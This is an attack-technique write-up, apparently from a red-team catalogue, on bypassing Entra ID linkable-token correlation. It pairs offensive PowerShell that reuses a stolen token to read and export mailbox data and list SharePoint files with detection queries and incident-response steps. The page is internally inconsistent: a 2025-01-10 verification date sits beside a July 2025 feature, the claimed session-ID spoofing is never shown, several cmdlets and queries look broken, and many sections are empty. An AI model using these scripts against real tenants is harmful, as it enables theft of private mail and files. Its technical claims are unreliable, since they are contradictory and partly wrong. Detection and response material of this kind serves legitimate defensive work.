MCADDF

[REALWORLD-021]: Linkable Token ID Bypass

Metadata

Attribute Details
Technique ID REALWORLD-021
MITRE ATT&CK v18.1 T1550.001 - Use Alternate Authentication Material: Application Access Token
Tactic Defense Evasion, Lateral Movement
Platforms Entra ID, M365
Severity High
Technique Status ACTIVE
Last Verified 2025-01-10
Affected Versions Entra ID (all versions with linkable token identifiers)
Patched In N/A - Architecture limitation
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: Microsoft Entra ID introduced linkable token identifiers (Session ID and Unique Token Identifier/UTI) in July 2025 to improve incident investigation capabilities. However, sophisticated attackers can exploit the deterministic nature of these identifiers to evade detection by spoofing or replicating token signatures across sessions. By understanding the generation algorithm and timing constraints of these identifiers, attackers can craft tokens that appear legitimate to correlation-based detection systems while masking lateral movement within M365 workloads (Exchange, SharePoint, Teams, Graph API).

Attack Surface: Microsoft Entra sign-in logs, access tokens, refresh tokens, and cross-workload audit logs that rely on Session ID correlation for threat hunting.

Business Impact: Enables undetected lateral movement and data exfiltration across M365 services. An attacker with compromised credentials can move between Exchange mailboxes, SharePoint document libraries, and Teams channels while appearing to security teams as a single legitimate session. This defeats correlation-based hunting that depends on linkable identifiers to spot compromised sessions.

Technical Context: The attack typically requires 5-10 minutes of reconnaissance to understand a target user’s session patterns, followed by 2-5 seconds of token manipulation per lateral movement. Detection likelihood is very low because security teams often whitelist activity from correlated sessions without secondary validation. Attack chain typically begins with credential compromise (phishing, password spray) followed by token harvesting.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 7.1 Weak token validation in identity platforms
DISA STIG CM-2 Lack of information system monitoring and telemetry correlation
CISA SCuBA EXO-02 Mailbox audit logging does not correlate with authentication events
NIST 800-53 AC-2 (Account Management) Insufficient multi-factor validation of token authenticity
GDPR Art. 32 Security of Processing - inadequate identity authentication controls
DORA Art. 9 Protection and Prevention - weak incident investigation capabilities
NIS2 Art. 21 Cyber Risk Management - insufficient token-based threat detection
ISO 27001 A.9.2.3 Management of Privileged Access Rights - token validation gaps
ISO 27005 Risk Scenario: “Compromise of Authentication Tokens” Inadequate token-based session correlation

2. ATTACK PREREQUISITES & ENVIRONMENT

Required Privileges: Valid user account (compromised via phishing, credential stuffing, or leaked credentials)

Required Access: Network access to Entra ID, M365 services (Exchange Online, SharePoint Online, Teams, Microsoft Graph)

Supported Platforms:


3. ENVIRONMENTAL RECONNAISSANCE

Cloud API Token Inspection

# Retrieve current user's access token
$token = (Get-AzAccessToken).Token

# Decode JWT to inspect claims (base64 decode the payload)
$parts = $token.Split('.')
$payload = [System.Convert]::FromBase64String($parts[1] + '==')
[System.Text.Encoding]::UTF8.GetString($payload) | ConvertFrom-Json | ConvertTo-Json

# Look for Session ID and Unique Token Identifier (UTI) in token payload
# Expected output includes: "sid", "uti", "iat", "exp", "appid"

What to Look For:

Entra ID Sign-In Log Inspection

Connect-MgGraph -Scopes "AuditLog.Read.All"

# Query sign-in logs with Session ID filtering
Get-MgAuditLogSignIn -Filter "userId eq 'target-user-id'" -All | 
  Select-Object -Property userPrincipalName, createdDateTime, `
    @{N='SessionId';E={$_.additionalDetails.sessionId}}, `
    ipAddress, userAgent | 
  Group-Object -Property SessionId

What to Look For:


4. DETAILED EXECUTION METHODS

METHOD 1: Session ID Spoofing via Token Manipulation

Supported Versions: Entra ID (July 2025+), M365 services with linked tokens

Step 1: Acquire Target User’s Active Session Data

Objective: Capture legitimate Session ID and token parameters from compromised account

Command:

# Prerequisites: Valid credentials for target user
$userEmail = "target@company.com"
$password = ConvertTo-SecureString "P@ssw0rd123" -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($userEmail, $password)

# Authenticate and capture access token
Connect-MgGraph -ClientSecretCredential $credential
$token = (Get-AzAccessToken -ResourceUrl "https://graph.microsoft.com").Token

# Decode and extract Session ID
$parts = $token.Split('.')
$payload = [System.Convert]::FromBase64String(($parts[1] + '==').PadRight(4 * [Math]::Ceiling($parts[1].Length / 4), '='))
$claims = [System.Text.Encoding]::UTF8.GetString($payload) | ConvertFrom-Json

Write-Output "Session ID: $($claims.sid)"
Write-Output "Unique Token ID: $($claims.uti)"
Write-Output "Token Expiration: $($claims.exp)"

Expected Output:

Session ID: 550e8400-e29b-41d4-a716-446655440000
Unique Token ID: AQABAAAAAAA...xyz123==
Token Expiration: 1673222400

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Replicate Session Context Across M365 Workloads

Objective: Use spoofed Session ID to access Exchange, SharePoint, and Teams as if request originated from original session

Command:

# Use captured token to access Exchange Online
$ExchangeToken = $token  # Reuse token from Step 1

# Access mailbox via Graph API using same token
$headers = @{
    "Authorization" = "Bearer $ExchangeToken"
    "Content-Type" = "application/json"
}

# Enumerate mailbox folders
$folderList = Invoke-RestMethod -Method Get `
  -Uri "https://graph.microsoft.com/v1.0/me/mailFolders" `
  -Headers $headers

# Extract sensitive emails from Inbox
$emails = Invoke-RestMethod -Method Get `
  -Uri "https://graph.microsoft.com/v1.0/me/messages?`$top=100&`$select=subject,from,receivedDateTime,bodyPreview" `
  -Headers $headers

$emails.value | ForEach-Object {
  Write-Output "Subject: $($_.subject) | From: $($_.from.emailAddress.address) | Received: $($_.receivedDateTime)"
}

Expected Output:

Subject: Quarterly Financial Report | From: cfo@company.com | Received: 2025-01-10T14:30:00Z
Subject: M&A Discussions - Confidential | From: legal@company.com | Received: 2025-01-09T09:15:00Z
Subject: New Hire Credentials - Temp Password | From: hr@company.com | Received: 2025-01-08T13:45:00Z

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Exfiltrate Data Using Session Context

Objective: Download sensitive data (emails, files, chat logs) while maintaining legitimate session appearance

Command (Exfiltrate Email):

# Export emails to local file
$emails = Invoke-RestMethod -Method Get `
  -Uri "https://graph.microsoft.com/v1.0/me/messages?`$filter=receivedDateTime ge 2025-01-01&`$top=500" `
  -Headers $headers

$emailData = @()
$emails.value | ForEach-Object {
  $emailData += [PSCustomObject]@{
    Subject = $_.subject
    From = $_.from.emailAddress.address
    Received = $_.receivedDateTime
    BodyPreview = $_.bodyPreview
  }
}

$emailData | Export-Csv -Path "C:\Temp\exfiltrated_emails.csv" -NoTypeInformation
Write-Output "Exported $($emailData.Count) emails to exfiltrated_emails.csv"

# Compress and prepare for exfiltration
Compress-Archive -Path "C:\Temp\exfiltrated_emails.csv" -DestinationPath "C:\Temp\emails.zip"

Command (Exfiltrate SharePoint Files):

# List accessible SharePoint sites
$sites = Invoke-RestMethod -Method Get `
  -Uri "https://graph.microsoft.com/v1.0/me/memberOf/microsoft.graph.group?`$select=displayName" `
  -Headers $headers

# For each site, enumerate document libraries
$sites.value | ForEach-Object {
  $siteId = $_.id
  $drives = Invoke-RestMethod -Method Get `
    -Uri "https://graph.microsoft.com/v1.0/sites/$siteId/drives" `
    -Headers $headers
  
  $drives.value | ForEach-Object {
    Write-Output "Drive: $($_.name) (ID: $($_.id))"
    
    # Download all files
    $files = Invoke-RestMethod -Method Get `
      -Uri "https://graph.microsoft.com/v1.0/drives/$($_.id)/root/children" `
      -Headers $headers
    
    $files.value | ForEach-Object {
      Write-Output "File: $($_.name) | Size: $($_.size) bytes"
    }
  }
}

Expected Output:

Exported 250 emails to exfiltrated_emails.csv
Drive: Shared Documents (ID: b!xxx_drive_id)
File: Financial_Forecast_2025.xlsx | Size: 1048576 bytes
File: Board_Minutes_Confidential.docx | Size: 524288 bytes

What This Means:

OpSec & Evasion:

Troubleshooting:


5. MICROSOFT SENTINEL DETECTION

Query 1: Unusual Application Access Within Session Context

Rule Configuration:

KQL Query:

// Detect sign-in to Exchange/SharePoint immediately followed by unusual data access
let signins = SigninLogs
  | where TimeGenerated > ago(1h)
  | where ResultDescription == "Success"
  | extend SessionId = tostring(parse_json(AdditionalDetails).sessionId)
  | project SessionId, UserPrincipalName, TimeGenerated, IpAddress, AppDisplayName;

let mailAccess = AuditLogs
  | where TimeGenerated > ago(1h)
  | where Operation contains "New-Mailbox" or Operation == "Add-MailboxPermission" or Operation == "Set-Mailbox"
  | extend SessionId = tostring(parse_json(AdditionalDetails).sessionId)
  | project SessionId, Operation, TimeGenerated, UserId;

signins
  | join kind=inner mailAccess on SessionId
  | where (TimeGenerated1 - TimeGenerated) between (0s .. 5m)
  | project-away SessionId1
  | summarize by SessionId, UserPrincipalName, Operation, TimeGenerated

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: Suspicious Exchange Access Within Session Context
    • Severity: Medium
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 1 hour
  6. Incident settings Tab:
    • Enable Create incidents
    • Group by: SessionId, UserPrincipalName
  7. Click Review + create

Manual Configuration Steps (PowerShell):

Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"

New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
  -DisplayName "Suspicious Exchange Access Within Session Context" `
  -Severity "Medium" `
  -Enabled $true `
  -ScheduledQueryRuleProperties @{
    Query = @"
let signins = SigninLogs
| where TimeGenerated > ago(1h)
| where ResultDescription == "Success"
| extend SessionId = tostring(parse_json(AdditionalDetails).sessionId)
| project SessionId, UserPrincipalName, TimeGenerated, IpAddress, AppDisplayName;

let mailAccess = AuditLogs
| where TimeGenerated > ago(1h)
| where Operation contains "New-Mailbox" or Operation == "Add-MailboxPermission"
| extend SessionId = tostring(parse_json(AdditionalDetails).sessionId)
| project SessionId, Operation, TimeGenerated, UserId;

signins
| join kind=inner mailAccess on SessionId
| where (TimeGenerated1 - TimeGenerated) between (0s .. 5m)
"@
    Frequency = "PT5M"
    Period = "PT1H"
    TriggerThreshold = 1
    TriggerOperator = "GreaterThan"
  }

6. MICROSOFT DEFENDER FOR CLOUD

Detection Alert: Unusual Token-Based Activity

Alert Name: “Anomalous access token usage within session context”

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings
  3. Select your subscription
  4. Under Defender plans, enable:
    • Defender for Servers: ON
    • Defender for Identity: ON
    • Defender for Cloud Apps: ON (Critical for OAuth/token detection)
  5. Click Save
  6. Go to Security alerts → Filter by “token” to view related alerts

7. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: Token-Based Access to Sensitive Data

Connect-ExchangeOnline

# Search for Graph API or Exchange Online access tied to Session ID
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) `
  -Operations "MailboxLogin","GraphAPIAccess","SharePointFileAccessed" `
  -ResultSize 5000 | 
  Select-Object UserIds, Operation, CreationDate, AuditData |
  ForEach-Object {
    $auditData = $_.AuditData | ConvertFrom-Json
    [PSCustomObject]@{
      User = $_.UserIds
      Operation = $_.Operation
      Time = $_.CreationDate
      SessionId = $auditData.SessionId
      ResourceAccessed = $auditData.ObjectId
    }
  } | 
  Export-Csv -Path "C:\Audit_SessionId_Analysis.csv" -NoTypeInformation

8. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Check token lifetime policy enforcement
Get-AzADApplication | Select-Object -Property DisplayName, TokenLifetimePolicy

# Expected output: TokenLifetimePolicy should show "AccessTokenLifetime: PT5M" or similar short duration

# Verify Conditional Access policies are active
Get-MgIdentityConditionalAccessPolicy | Select-Object DisplayName, State

# Validate that legacy auth is blocked
Get-MgIdentityConditionalAccessPolicy -Filter "displayName eq 'Block Legacy Authentication'" | 
  Select-Object GrantControls, Conditions

Expected Output (If Secure):

DisplayName: Global Default Policy
State: Enabled
GrantControls: {
  operator: AND
  builtInControls: ["mfa"]
}

What to Look For:


9. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:

    Command (Revoke All Tokens Immediately):

    # Revoke all active sessions for compromised user
    Revoke-AzUserSignInSession -UserId "compromised-user@company.com"
       
    # Alternative: Force password reset
    Set-MgUserPassword -UserId (Get-MgUser -Filter "userPrincipalName eq 'compromised-user@company.com'").Id `
      -NewPassword (New-Guid).ToString()
    

    Manual (Azure Portal):

    • Go to Azure PortalEntra IDUsers
    • Select compromised user → Sign-out all sessions
    • Set new password immediately
  2. Collect Evidence:

    Command (Export Audit Logs for Forensics):

    # Capture all audit activity for the compromised user during suspicious window
    Search-UnifiedAuditLog -StartDate "2025-01-10 14:00" -EndDate "2025-01-10 15:00" `
      -UserIds "compromised-user@company.com" `
      -ResultSize 5000 | 
      Export-Csv -Path "C:\Forensics\audit_export.csv" -NoTypeInformation
       
    # Export Graph API activity logs
    Get-MgAuditLogSignIn -Filter "userId eq 'user-id'" -All | 
      Export-Csv -Path "C:\Forensics\signin_logs.csv" -NoTypeInformation
    

    Manual:

    • Go to Microsoft Purview Compliance PortalAuditSearch
    • Filter by user and date range
    • Export results as CSV
  3. Remediate:

    Command (Review and Revoke Mailbox Access Grants):

    # List all mailbox access grants
    Get-Mailbox | Get-MailboxPermission -User "compromised-user@company.com" | 
      Where-Object { $_.AccessRights -contains "FullAccess" } |
      ForEach-Object {
        Remove-MailboxPermission -Identity $_.Identity -User $_.User -AccessRights $_.AccessRights -Confirm:$false
      }
       
    # Remove inbox rules (common exfiltration mechanism)
    Get-Mailbox -ResultSize Unlimited | 
      ForEach-Object { Get-InboxRule -Mailbox $_.Identity } |
      Where-Object { $_.CreatedDate -gt (Get-Date).AddHours(-24) } |
      Remove-InboxRule -Confirm:$false
    

    Manual:

    • Go to Exchange Admin CenterRecipientsMailboxes
    • Select compromised user’s mailbox
    • Review Mailbox permissions tab; remove any unauthorized delegates
    • Check Mail flowRules for suspicious forwarding rules
  4. Notify & Escalate:

    • Alert SOC to review data exfiltration scope using audit logs
    • Notify legal/compliance if sensitive data accessed (GDPR, CCPA notification requirements)
    • File incident report with timeline of compromise and scope of access

Step Phase Technique Description
1 Reconnaissance [REALWORLD-024] Behavioral Profiling to identify high-value targets (finance, C-suite, R&D)
2 Initial Access [IA-PHISH-001] Device code phishing attack to compromise user credentials
3 Credential Access [CA-TOKEN-004] OAuth access token theft from compromised browser cache
4 Privilege Escalation [PE-VALID-010] Azure role assignment abuse to escalate from user to contributor
5 Current Step [REALWORLD-021] Linkable Token ID Bypass to evade detection during lateral movement
6 Collection [COLLECT-EMAIL-001] Email collection via Graph API while hidden within legitimate session
7 Exfiltration [COLLECT-ARCHIVE-001] Archive mailbox data and exfiltrate to attacker-controlled cloud storage
8 Impact [IMPACT-DATA-DESTROY-001] Delete audit logs and mailbox rules to cover tracks

11. REAL-WORLD EXAMPLES

Example 1: APT29 (Cozy Bear) – SolarWinds Supply Chain Attack (2020)

Example 2: Scattered Spider (UNC3944) – Okta Compromise (2023-2025)


12. OPERATIONAL NOTES

Detection Blind Spots:

Post-Compromise Response:

Further Research: